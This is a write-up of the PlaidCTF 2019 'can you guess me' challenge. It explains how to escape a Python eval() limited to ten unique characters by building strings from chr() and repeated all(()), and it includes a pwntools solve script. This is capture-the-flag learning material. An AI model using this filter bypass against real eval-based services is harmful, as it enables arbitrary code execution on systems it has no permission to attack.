PlaidCTF 2019 - can you guess me - misc (100pt)

Bypassing heavily filtered python code evaluation

can you guess me
Misc - 100pt
nc ip here

This was a fun challenge from PlaidCTF. We get the source code of the server below.

#! /usr/bin/env python3

from sys import exit
from secret import secret_value_for_password, flag, exec

print(r"")
print(r"")
print(r"  ____         __   __           ____                     __  __       ")
print(r" / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  ")
print(r"| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \ ")
print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/ ")
print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___| ")
print(r"                                                                       ")
print(r"")
print(r"")

try:
    val = 0
    inp = input("Input value: ")
    count_digits = len(set(inp))
    if count_digits <= 10:          # Make sure it is a number
        val = eval(inp)
    else:
        raise

    if val == secret_value_for_password:
        print(flag)
    else:
        print("Nope. Better luck next time.")
except:
    print("Nope. No hacking.")
    exit(1)

The goal in this challenge is to get the value of the flag variable. The obvious vulnerability here is that the code executes eval(inp). However, you have a length limit of 10... or do you? The code gets the value of count_digits as len(set(inp)), which actually counts the number of unique characters in your input.

So, we need to find a payload with 10 or less characters that prints the flag variable.

Unfortunately... print(flag) was 1 character too many, so I just wanted to find something that worked. I tried print(dir()), and this successfully caused the program to print out all variable names in global scope.

I couldn't find an easy way to print the value of the flag variable, so I decided to try and find a way to get arbitrary code execution with exec() or eval().

I eventually stumbled upon exec(chr(1+1+....+1)+chr(1+1+....+1)+....) , which would allow me to exec() an arbitrary string with exactly 9 unique characters ( exchr1+() ). BUT.... the creators apparently thought of this. At the top of the file they have from secret import exec, and the custom exec function just prints an ASCII trollface.

eval() instead, I guess! The problem with eval(chr(1+1+...+1)+chr(1+1+...+1)+...)) payload is that it has 11 unique characters, so we need to figure out how to get rid of one. I figured that we probably need to keep eval() and chr(), so is there any way avoid using 1 ?

I looked at the list of built in functions in Python3, and noticed the very second one, all(). all(x) returns True if all the elements inside the iterable x are True. Also, in python, True is treated as 1, just like in C-based languages. So, to get a 1, we can call all() on an empty tuple: all(()).

Our final payload is in the form: eval(chr(all(())+all(())+...+all(()))+chr(all(())+all(())+...+all(()))+...)

Solve script (generates code to eval("print(flag)")):

from pwn import *
r = remote('canyouguessme.pwni.ng', 12349)
exp  = "print(flag)"
chars = []
for c in exp:
    ordinal = "+".join(["all(())"] * ord(c))
    char =  "chr("+ordinal+")"
    chars.append(char)

payload = "+".join(chars)
payload = "eval("+payload+")"
print payload
print len(set(payload))
r.recvuntil(': ')
r.sendline(payload)
r.interactive()

Final thoughts

After the CTF ended I read about two much simpler payloads, which I may have came up with if I looked at the list of built-in functions to start off.

help(flag) and print(vars()).

I still solved it pretty quickly though, and liked my solution because it gives you arbitrary code execution.